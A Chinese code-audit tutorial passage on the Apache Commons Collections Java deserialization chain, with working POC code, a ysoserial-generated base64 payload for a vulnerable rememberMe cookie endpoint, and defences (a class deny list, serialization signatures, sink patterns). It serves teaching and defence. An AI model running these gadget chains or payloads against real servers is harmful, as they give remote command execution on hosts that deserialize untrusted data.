目前已知实现了Transformer接口的类,如下所示。而在Apache Commons Collections反序列漏洞中,会使用到ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类,这些类的具体作用我们在下面结合POC来看。

Java代码审计详解_第116张图片

在远程调用前,我们先看本地的POC: 

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize1 {
    public static void main(String[] args) throws Exception {
        //1、创建Transformer型数组,构建漏洞核心利用代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //2、将transformers数组存入ChaniedTransformer类
        Transformer transformerChain = new ChainedTransformer(transformers);
​
        //3、创建Map,给予map数据转化链
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        //给予map数据转化链,该方法有三个参数:
        // 第一个参数为待转化的Map对象
        // 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
        // 第三个参数为Map对象内的value要经过的转化方法(可为单个方法,也可为链,也可为空)
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //4、触发漏洞利用链,利用漏洞
        onlyElement.setValue("test");
    }
}

​该POC从上至下大致分为四点,我们以此四点为基础进行分析:

1、创建transformers数组,构建漏洞核心利用代码。

2、将transformers数组存入ChaniedTransformer类。

3、创建Map,给予map数据转化链

4、触发漏洞利用链,利用漏洞

1)创建transformers数组,构建漏洞核心利用代码

此处创建了一个Transformer类型的数组,其中创建了四个对象。这四个对象分别使用了ConstantTransforme和InvokerTransformer两个类。
ConstantTransformer:把一个对象转化为常量,并返回。
InvokerTransformer:通过反射,返回一个对象。

代码如下:

此处,先不研究里面的具体参数有何作用,只需明确此处创建了一个Transformer类型的数组,其中创建了四个对象,我们接着往下看。

2)将transformers数组存入ChaniedTransformer类

此处创建了一个ChainedTransformer对象,并将transformers数组作为参数传入。

ChainedTransformer类:把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换。

Java代码审计详解_第117张图片

继续往下看。

3)创建Map,给予map数据转化链

此处代码较多,我们拆开看:

Java代码审计详解_第118张图片

先是创建Map类,添加了一组数据("key", "value")。前文有提到,Map是具有映射关系 Key-value的集合,一个键值对:kay-value构成了一个Entry对象。

接着是给予map实现类的数据转化链。而在Apache Commons Collections中实现了TransformedMap类,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。即就是当数据发生改变时,可以进行一些提前设定好的操作。

也就是说,此处的代码是给予Map数据转化链,当Map里的数据发生改变时,会进行转换链设定好的操作,如下有三个参数:

Java代码审计详解_第119张图片

此处TransformedMap调用了decorate( )方法,创建了TransformedMap对象。参数1 ,innerMap作为参数调用了父类AbstractInputCheckedMapDecorator的构造函数,保存为this.map变量。参数2为null。参数3,transformerChain被初始化为this.valueTransformer变量。

TransformedMap类相关代码如下:

Java代码审计详解_第120张图片

然后获取outerMap的第一个键值对(key,value),然后转化成Map.Entry形式,前文也提到一个kay-value构成一个Entry对象。

最后利用Map.Entry取得第一个值,调用修改值的函数,触发下面的setValue( )代码。

4)触发漏洞利用链,利用漏洞

接着上面分析,继续跟进setValue( )函数,会进入到AbstractInputCheckedMapDecorator类。此时setValue( )方法会检查要被修改的元素,进入到TransformedMap的转换链。

跟进setValue()里的this.parent.checkSetValue(value),跳到TransoformedMap类,this.parent为TransformedMap类的对象outerMap。

AbstractInputCheckedMapDecorator类相关代码如下:

Java代码审计详解_第121张图片

跳到TransoformedMap类。

此时的this.valueTransformer就是transformerChain,之后就会触发漏洞利用链。而transformerChain就是在上面POC第二点代码生成的ChainedTransformer对象,其中传入了transformers数组,transformers数组为POC第一点构造的漏洞利用核心代码。

TransoformedMap类相关代码如下:

由于valueTransformer为transformerChain,因此上面代码中的this.valueTransformer.transform(value)会调用ChainedTransformer类的transform方法。

此时我们构造好的含有利用代码的transformers数组会循环进入此处,先调用1次ConstantTransformer类,再调用3次InvokerTransformer类。

需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。

ChainedTransformer类相关代码如下:

Java代码审计详解_第122张图片

第一次循环:

首先是去调用ConstantTransformer类的transform方法,将Runtime.class保存为this.iConstant变量,并将返回值作为下一次transform函数的object参数输入。

ConstantTransformer类相关代码如下:

Java代码审计详解_第123张图片

第二次循环:

调用InvokerTransformer类的transform( )方法,此时transform的object参数,即java.lang.Runtime。

先看InvokerTransformer的构造函数:

第一个是字符串,是调用的方法名

第二个是个Class数组,是方法的参数的类型

第三个是Object数组,是方法的参数的具体值

进入到InvokerTransformer类的transform方法,非常明显的反射机制。此处,input为transform的object参数为java.Lang.Runtime。

Java代码审计详解_第124张图片

此处就相当于: 

method = input.getClass().getMethod("getMethod",  new Class[] {String.class, Class[].class).invoke("java.Lang.Runtime", new Object[] {"getRuntime", new Class[0]});

即java.Lang.Runtime.getMethod("getRuntime",null),返回一个Runtime.getRuntime( )方法,相当于产生一个字符串,但还没有执行"Rumtime.getRuntime( );"。

第三次循环:

进入到InvokerTransformer类的transform( )方法,input为上次循环的返回值Runtime.getRuntime( )。

此时就相当于:

method = input.getClass().getMethod("invoke",  new Class[] {Object.class, Object[].class }).invoke("Runtime.getRuntime()",  new Object[] {null, new Object[0]});

即Runtime.getRuntime( ).invoke(null),那么会返回一个Runtime对象实例。相当于执行了完成了:

Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);

第四次循环:

同样进入到InvokerTransformer类的transform方法,input为上次循环的返回值Runtime.getRuntime( ).invoke(null)。

此时就相当于:

method = input.getClass().getMethod("exec",  new Class[] {String.class }).invoke("runtime", new Object[] {"calc.exe"});

即Runtime.getRuntime( ).exec("calc.exe")。至此成功完成漏洞利用链,执行系统命令语句,触发漏洞。

最后整理整个过程:

1、transform数组里面含有4个实现了Transformer接口的对象,这四个对象都重写了transform()方法

2、ChianedTransformer里面装了4个transform,ChianedTransformer也实现了Transformer接口,同样重写了transform()方法

3、TransoformedMap绑定了ChiandTransformer,给予map数据转化链,当map里的数据进行修改时,需经过ChiandTransformer转换链

4、利用TransoformedMap的setValue修改map数据,触发ChiandTransformer的transform()方法

5、ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法 ​

总结:

loop 1:第一次循环调用ConstantTransformer("java.Runtime")对象的transformer方法,调用参数为"test"(正常要修改的值),返回了java.Runtime作为下一次循环的object参数。

loop 2:第二次循环调用InvokerTransformer对象的transformer,参数为("java.Runtime"),包装Method对象"getMethod"方法,invoke方法获得对象所声明方法"getRuntime",利用反射,返回一个Rumtime.getRuntime()方法。

loop 3:第三次循环调用InvokerTransformer对象的transformer,参数为("Rumtime.getRuntime()"),包装Method对象"invoke"方法,利用反射,返回一个Rumtime.getRuntime()实例。

loop 4:第四次循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exec"方法,invoke方法获得对象所声明方法"calc.exe",利用反射,执行弹出计算器操作。

5)最终Payload

​目前的POC只是被执行了,我们要利用此漏洞,就需要通过网络传输payload,在服务端对我们传过去的payload进行反序列时执行代码。而且该POC的关键依赖于Map中某一项去调用setValue( ) ,而这完全不可控。

因此就需要寻找一个可序列化类,该类重写了readObject( )方法,并且在readObject( )中进行了setValue( ) 操作,且这个Map变量是可控的。需要注意的时,在java中如果重写了某个类的方法,就会优先调用经过修改后的方法。

在java中,确实存在一个类AnnotationInvocationHandler,该类重写了readObject( )方法,并且执行了setValue( )操作,且Map变量可控,如果可以将TransformedMap装入这个AnnotationInvocationHandler类,再传过去,服务端在对其进行反序列化操作时,就会触发漏洞。最后利用的payload如下:

package Serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
​
​
public class ApacheSerialize implements Serializable {
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
​
        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);
​
        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");
​
        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
​
        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器
        
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);
​
        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);
​
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();
​
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

可以触发:

Java代码审计详解_第125张图片

我们来研究最终payload新加的部分:

Java代码审计详解_第126张图片

​新加部分代码的前四部分不是很难理解。使用反射去调用AnnotationInvocationHandler类,并且指定了具体参数类型为(Class.class, Map.class)的构造器。之后再使用newInstance调用指定构造器运行时类的对象,并将(Target.class, transformedMap)作为参数传入。

查看AnnotationInvocationHandler类,反射调用的构造器如下:

Java代码审计详解_第127张图片

其中var1为Target.class,var2为transformedMap,var1.getInterfaces( )为获取当前类显式实现的接口,即获取Target类显式实现的接口。

Target类使用了@interface自定义注解,而@interface自定义注解自动继承了java.lang.annotation.Annotation这一个接口,由编译程序自动完成其他细节。因此符合if语句判断,生成AnnotationInvocationHandler类实例。

Target类代码如下:

Java代码审计详解_第128张图片

​进入payload序列化和反序列部分,主要是看反序列化的readObject( )部分,打开字节流并重构对象,此时的对象即AnnotationInvocationHandler类实例。

Java代码审计详解_第129张图片

前文提到在java中如果重写了某个类的方法,就会优先调用经过修改后的方法,而AnnotationInvocationHandler类重写了readObject( )方法,因此反序列化时会优先调用该类中的readObject( )方法。

跟进AnnotationInvocationHandler类的readObject( )方法,此时的var1为实例化的AnnotationInvocationHandler类对象,之后会触发setValue( )造成命令执行。

AnnotationInvocationHandler类相关代码如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    ....................
        AnnotationInvocationHandler(Class var1, Map var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            //this.type为Target.class
            this.type = var1;
            //this.memberValues为transformedMap
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
​
    .......................
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        //1、defaultReadObject(),从var1读取当前类的非静态和非瞬态字段
        var1.defaultReadObject();
        AnnotationType var2 = null;
​
        try {
            //this.type为实例化时传入的Target.class
            //2、getInstance获取到@Target类的方法等基本信息。
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
​
        //3、获取到Target类的注解元素 即{value:ElementType}键值对
        Map var3 = var2.memberTypes();
        //4、this.memberValues为实例化时传入的transformedMap,获取构造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();
​
        while(var4.hasNext()) {
            //获取到map的第一个键值对 {value:test}
            Entry var5 = (Entry)var4.next();
            //获取到map第一个键值对 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //从@Target的注解元素 {value:ElementType}键值对中去寻找键名为value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //获取到map第一个键值对 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能强转为var7  instanceof表示var8是否为ExceptionProxy类型
                //两个都为否,进入到if条件语句内部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //触发setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
​
                }
            }
        }
    }
}

至此,完成漏洞利用。 

​在测试的时候,未使用AnnotationInvocationHandler类时,map可以put时key可以随意设置,如上文POC中的map.put("key", "value")。

但在调用AnnotationInvocationHandler类时就必须设置为value。

主要原因如下:

需要注意的是在AnnotationInvocationHandler类相关代码的var2 = AnnotationType.getInstance(this.type)部分,this.type为实例化时传入的Target.class。

跟进,进入到AnnotationType类的getInstance( )方法,其中var2为var1返回该元素Target类型的注释,而var1中没有此注释,返回null,进入到判断语句,此时会实例化一个AnnotationType对象,并将var0作为参数传入。

Java代码审计详解_第130张图片

继续跟进AnnotationType类的AnnotationType( ),其中var1为Target.class,此时获取的Target类的全部方法等基本信息,其中this.memberTypes为获取到的Target类的全部方法,而Target.class只定义了一个名为value的方法(快捷方式,限制了元素名必须为value)。 

public class AnnotationType {
    ...................
    private AnnotationType(final Class var1) {
        if (!var1.isAnnotation()) {
            throw new IllegalArgumentException("Not an annotation type");
        } else {
            //获取到Target.class的全部方法
            Method[] var2 = (Method[])AccessController.doPrivileged(new PrivilegedAction() {
                public Method[] run() {
                    return var1.getDeclaredMethods();
                }
            });
            //底层创建了长度是var2长度加1的一维数组,加载因子为1.0(扩容时才会用到)
            this.memberTypes = new HashMap(var2.length + 1, 1.0F);
            this.memberDefaults = new HashMap(0);
            this.members = new HashMap(var2.length + 1, 1.0F);
            Method[] var3 = var2;
            int var4 = var2.length;
​
            //遍历var2,即获取到的Target.class的全部方法
            for(int var5 = 0; var5 < var4; ++var5) {
                Method var6 = var3[var5];
                if (var6.getParameterTypes().length != 0) {
                    throw new IllegalArgumentException(var6 + " has params");
                }
                //获取方法的名称
                String var7 = var6.getName();
                //获取方法的返回值类型
                Class var8 = var6.getReturnType();
​
                //将方法的名称和返回值类型以键值对的形式传入
                //Target.class只有一个方法{value:ElementType}
                this.memberTypes.put(var7, invocationHandlerReturnType(var8));
                
                this.members.put(var7, var6);
                Object var9 = var6.getDefaultValue();
                if (var9 != null) {
                    this.memberDefaults.put(var7, var9);
                }
            }
​
            if (var1 != Retention.class && var1 != Inherited.class) {
                JavaLangAccess var10 = SharedSecrets.getJavaLangAccess();
                Map var11 = AnnotationParser.parseSelectAnnotations(var10.getRawClassAnnotations(var1), var10.getConstantPool(var1), var1, new Class[]{Retention.class, Inherited.class});
                Retention var12 = (Retention)var11.get(Retention.class);
                this.retention = var12 == null ? RetentionPolicy.CLASS : var12.value();
                this.inherited = var11.containsKey(Inherited.class);
            } else {
                this.retention = RetentionPolicy.RUNTIME;
                this.inherited = false;
            }
​
        }
    }
    .......................
​
    public Map> memberTypes() {
        return this.memberTypes;
    }
    .......................
​
}

根据上面代码追踪到,this.memberTypes为获取到的Target.class的全部方法,可以看到主要在String var6 = (String)var5.getKey( )为获取到map第一个键值对{value:test}的key即value,var7会从获取到Target的全部方法{value:ElementType}键值对中去寻找键名为var6的值,如果获取不到就不会进入到setValue( )方法,因此必须设置map的key为value。

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
       ....................        
        //3、获取到Target类的注解元素 即{value:ElementType}键值对
        Map var3 = var2.memberTypes();
        //4、获取构造map的迭代器
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            //获取到map的第一个键值对 {value:test}
            Entry var5 = (Entry)var4.next();
            //获取到map第一个键值对 {value:test}的key  即value
            String var6 = (String)var5.getKey();
            //从获取到Target的全部方法 {value:ElementType}键值对中去寻找键名为value的值
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                //获取到map第一个键值对 {value:test}的value 即test
                Object var8 = var5.getValue();
                //isInstance表示var8是否能强转为var7  instanceof表示var8是否为ExceptionProxy类型
                //两个都为否,进入到if条件语句内部
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    //触发setValue
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
​
                }
            }
       ....................        
}

7、Java反序列化漏洞代码审计

1)java反序列化利用工具

(1)ysoserial

ysoserial 是在常见 Java 库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用 Java 应用程序执行不安全的对象反序列化。主驱动程序接受用户指定的命令并将其包装在用户指定的小工具链中,然后将这些对象序列化到标准输出。当类路径上具有所需小工具的应用程序不安全地反序列化此数据时,将自动调用链并导致命令在应用程序主机上执行。

下载地址:GitHub - angelwhu/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

(2)marshalsec

GitHub - mbechler/marshalsec

2)python序列化利用工具

支持格式:json,yaml和pickle

3)php序列化利用工具

php的yso是phpggc。

4).net序列化利用工具

.net也有一个yso,是pwntester写的。

5)java反序列化漏洞代码审计

Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

漏洞代码示例:

......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();

Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

核心代码:

/**
     * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
     * Add the result to rememberMe cookie.
     * 

* http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); ObjectInputStream in = new ObjectInputStream(bytes); in.readObject(); in.close(); return "Are u ok?"; }

代码相对来说也比较简单使用Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。

使用ysoserial.jar生成payload:

$ java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
java -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0

rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAC2NtZCAvYyBjYWxjdAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==

访问页面:

http://127.0.0.1:8080/deserialize/rememberMe/vuln

Java代码审计详解_第131张图片

修复代码: 

@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
        throws IOException, ClassNotFoundException {

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

    if (null == cookie) {
        return "No rememberMe cookie. Right?";
    }
    String rememberMe = cookie.getValue();
    byte[] decoded = Base64.getDecoder().decode(rememberMe);

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

    try {
        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
        in.readObject();
        in.close();
    } catch (InvalidClassException e) {
        logger.info(e.toString());
        return e.toString();
    }

    return "I'm very OK.";
}

修复方式是通过Hook resolveClass来校验反序列化的类。序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization》

跟入后对应代码如下:

/**
 * 只允许反序列化SerialObject class
 *
 * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。
 * 类似fastjson通用类的反序列化就不能校验。
 * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。
 *
 */
@Override
protected Class resolveClass(final ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
{
    String className = desc.getName();

    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
    logger.info("Deserialize class name: " + className);

    String[] denyClasses = {"java.net.InetAddress",
                            "org.apache.commons.collections.Transformer",
                            "org.apache.commons.collections.functors"};

    for (String denyClass : denyClasses) {
        if (className.startsWith(denyClass)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
    }

    return super.resolveClass(desc);
}

8、Java反序列化漏洞防御

1)java安全管理器 secuirty manager

2)白名单策略等

3)java序列化数据特征分析

 aced 0005  :  .*sr.*

Java代码审计详解_第132张图片

base64前缀固定特征:rO0

Java代码审计详解_第133张图片

zip格式特征:PK* 

Java代码审计详解_第134张图片

zip+base64编码数据123特征 UE*:

public static String zipString(String primStr) {
        if (primStr == null || primStr.length() == 0) {
            return primStr;
        }
        ByteArrayOutputStream out = null;
        ZipOutputStream zout = null;
        try {
            out = new ByteArrayOutputStream();
            zout = new ZipOutputStream(out);
            zout.putNextEntry(new ZipEntry("0"));
            zout.write(primStr.getBytes("utf-8"));
            zout.closeEntry();
            return new BASE64Encoder().encode(out.toByteArray());
        } catch (IOException e) {
            return null;
        } finally {
            if (zout != null) {
                try {
                    zout.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

zip+base64编码数据123解码:

public static final String unzipString(String compressedStr) {
        if (compressedStr == null) {
            return null;
        }
        ByteArrayOutputStream out = null;
        ByteArrayInputStream in = null;
        ZipInputStream zin = null;
        String decompressed = null;
        try {
            byte[] compressed = new BASE64Decoder().decodeBuffer(compressedStr);
            out = new ByteArrayOutputStream();
            in = new ByteArrayInputStream(compressed);
            zin = new ZipInputStream(in);
            zin.getNextEntry();
            byte[] buffer = new byte[1024];
            int offset = -1;
            while ((offset = zin.read(buffer)) != -1) {
                out.write(buffer, 0, offset);
            }
            decompressed = out.toString("utf-8");
        } catch (IOException e) {
            decompressed = null;
        } finally {
            if (zin != null) {
                try {
                    zin.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (in != null) {
                try {
                    in.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (out != null) {
                try {
                    out.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
        return decompressed;

解码:

gzip base64数据特征:H4s开头的为gzip+base64:

Java代码审计详解_第135张图片

gzip+base64数据解码:

echo 'H4sIAHG+vmIAAzM0MuYCAAj9gloEAAAA' | base64 -d | gzip -dv

寻找java反序列化sink:

//配合grep/semgrep使用更香哦。
java.beans.XMLDecoder
com.thoughtworks.xstream.XStream
.*\.fromXML\(.*\)
com.esotericsoftware.kryo.io.Input
.readClassAndObject\(.*
.readObjectOrNull\(.*
